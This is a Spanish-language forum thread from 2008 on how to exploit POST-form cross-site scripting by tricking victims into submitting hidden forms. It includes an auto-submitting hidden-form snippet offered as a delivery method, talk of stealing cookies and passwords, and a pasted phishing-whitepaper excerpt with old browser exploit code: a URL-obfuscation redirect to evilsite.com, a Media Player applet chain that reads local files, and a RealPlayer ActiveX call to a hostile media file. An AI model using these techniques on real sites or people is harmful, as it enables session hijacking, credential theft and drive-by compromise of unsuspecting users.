explotar xss en formulario post

Iniciado por wizache, 28 Enero 2008, 04:58 AM

0 Miembros y 1 Visitante están viendo este tema.

wizache

Hola, ultimamente he tenido la oportunidad de trabajar en muchos bugs de xss sobretodo con el clasico link con codigo javascript que se envia por GET y se inyecta en la pagina, pero muchas veces no es tan facil explotar un bug ya que estos parametros se envian por post y hay que hacer que "la victima" haga click en un formulario y envie el "dato maligno".

Entonces quería abrir un tema sobre esto a ver que opinan o sus experiencias en bugs de este tipo todo en fin de la ciencia claro ;D.

Solo para aclarar hay que imaginar que tienes en x formulario un campo donde pones quiza tu nombre, una vez que le pones submit tu nombre aparece en la pagina, entonces si pones un <script>alert('hola mundo') </script> el famoso mensajito aparecera y si lo cambias por un script para robar por ejemplo las cookies, o peor si es un formulario de ingreso donde te puedan robar tu user y password.

Y la pregunta es como hacer que alguien caiga en este bug?
Algunas formas:
- Simplemente hacer un formulario con el parametro escondido donde meto el xss con su boton de submit(el problema seria la ingeniaria social que esto conlleva). 
- La otra es hacer el formulario con todos los campos ocultos y en vez del boton de submit poner un link que al hacer click corra un javascript que envie los datos del formulario, el problema es que la vicitma haga click en este link.
- Le envias por messenger el javascript y le dices que lo copie y  pegue en el formulario...
...esta bien ese ultimo es broma sobre todo cuando todos tus amigos creen que todo lo que le dices es para hackearlo   :xDjiji..

Que otras metodos se les ocurre para enviar parametros por post sin que la victima se de cuenta ?

Saludos

yeikos

Código (html4strict) [Seleccionar]
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=javascript:document.forms[0].submit()">
<form method="POST" action="http://example.com">
<input type="hidden" name="username" value="myuser">
<input type="hidden" name="password" value="mypass">
</form>


XSS es un ataque que hace uso de la explotación a través de una mala validación de caracteres, en sí, no es un bug.

wizache

Cita de: yeikos en 28 Enero 2008, 14:18 PM
Código (html4strict) [Seleccionar]
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=javascript:document.forms[0].submit()">

Ese no me lo sabia buen metodo

Saludos!

berz3k


Alguien me decia que "hijacking cookies" es ya muy viejo a menos que sea un bank :D, veo ya muchos metodos interesantes y estudiando (solo estudiando) mas sobre  worms o algunos nuevos methods sobre bypass IDS and Sql injectios.

-berz3k.


дٳŦ٭

Cita de: yeikos en 28 Enero 2008, 14:18 PM
Código (html4strict) [Seleccionar]
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=javascript:document.forms[0].submit()">
<form method="POST" action="http://example.com">
<input type="hidden" name="username" value="myuser">
<input type="hidden" name="password" value="mypass">
</form>


XSS es un ataque que hace uso de la explotación a través de una mala validación de caracteres, en sí, no es un bug.

En programación, cualquier error se le llama bug, cualquiera. La obligación del programador es limpiar todo tipo de caracteres que entren o salgan de su web.


Con sangre andaluza :)


yeikos

Pero no todos los bugs son vulnerabilities ;).

Falso Positivo

#6
Hola:
Lo siguiente fue extraido de un texto sobre phishing de NISR-WP
NGSSoftware Insight Security Research Page 19 of 42 http://www.ngsconsulting.com
2.3.7. Client-side Vulnerabilities
The sophisticated browsers customers use to surf the web, just like any other commercial piece of software, are often vulnerable to a myriad of attacks. The more functionality built into the browser, the more likely their exists a vulnerability that could be exploited by an attacker to gain access to, or otherwise observe, confidential information of the customer.
While software vendors have made great strides in methods of rolling out software updates and patches, home users are notoriously poor in applying them. This, combined with the ability to install add-ons (such as Flash, RealPlayer and other embedded applications) means that there are many opportunities for attack.
Similar to the threat posed by some of the nastier viruses and automated worms, these vulnerabilities can be exploited in a number of ways. However, unlike worms and viruses, many of the attacks cannot be stopped by anti-virus software as they are often much harder to detect and consequently prevent (i.e. the stage in which the antivirus product is triggered, is usually after the exploitation and typically only if the attacker tries to install a well known Backdoor Trojan or key-logger utility).

Example 1: Microsoft Internet Explorer URL Mishandling
By inserting a character (in this case 0x01 – represented as the escape encoded sequence %01) within the username section of the Friendly Login URL, a user would be redirected to the attackers server, but characters after the %01 would not be displayed in the browser URL field. Therefore this attack could be used to obfuscate the attackers full URL.

Sample HTML code:
location.href=unescape('http://www.mybank.com%01@evilsite.com/phishing/fakepage.htm');

Example 2: Microsoft Internet Explorer and Media Player Combination
A vulnerability existed within Microsoft Media Player that was exploitable through java coding with Microsoft Internet Explorer. This vulnerability enabled remote servers to read local customer files, browse directories and finally execution of arbitrary software. Depending upon the software being executed, the attacker had the potential to take control of the customer's computer.
The problem lay with how Media Player downloaded customised skins and stored them. For example:
"C:/Program files/Windows Media Player/Skins/SKIN.WMZ" : <IFRAME
SRC="wmp2.wmz"></IFRAME>

Will download wmp2.wmz and place it in the defined folder. Unfortunately, the file wmp2.wmz may be a java jar archive. Therefore the following applet tag:
<APPLET CODEBASE="file://c:/" ARCHIVE="Program files/Windows Media
Player/SKINS/wmp2.wmz"
CODE="gjavacodebase.class" WIDTH=700 HEIGHT=300>
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</APPLET>

Will be executed with codebase="file://c:/" and the applet will have read only access to C:\.
To execute this code automatically, all an attacker had to do was get the web browser to open a simple HTML fie such as the one below:
<IFRAME SRC="wmp2.wmz" WIDTH=1 HEIGHT=1></IFRAME>
<SCRIPT>
The Phishing Guide
function f()
{
window.open("wmp7-bad.htm");
}
setTimeout("f()",4000);
</SCRIPT>

Which calls a secondary HTML file (wmp7-bad.htm)
<APPLET CODEBASE="file://c:/"
ARCHIVE="Program files/Windows Media Player/SKINS/wmp2.wmz"
CODE="gjavacodebase.class"
WIDTH=700 HEIGHT=300>
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</APPLET>


Example 3: RealPlayer/RealOne Browser Extension Heap Corruption

RealPlayer is the most widely used product for internet media delivery, with in excess of 200 million users worldwide. All popular web browsers offer support for RealPlayer and the automatic playing of media.
By crafting a malformed .RA, .RM, .RV or .RMJ file it possible to cause heap corruption that can lead to execution of an attacker's arbitrary code. By forcing a browser or enticing a user to a website containing such a file, arbitrary attacker supplied code could be automatically executed on the target machine. This code will run in the security context of the logged on user.
<OBJECT ID="RealOneActiveXObject" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-
A0EA-D9994BCC0DC5"></OBJECT>
// Play a clip and show new status display
function clipPlay() {
window.parent.external.PlayClip(
"rtsp://evilsite.com/hackme.rm",
"Title=Glorious Day|Artist name=Me Alone")
}

More information is available from: http://www.nextgenss.com/advisories/realra.txt

Saludos.
Don't worry, be hacked....

nobuK

http://hyfank.awardspace.com/blog/?p=7

Bien explicadito y con codigo ya hecho para que puedas hacer un XSS en formularios POST  :)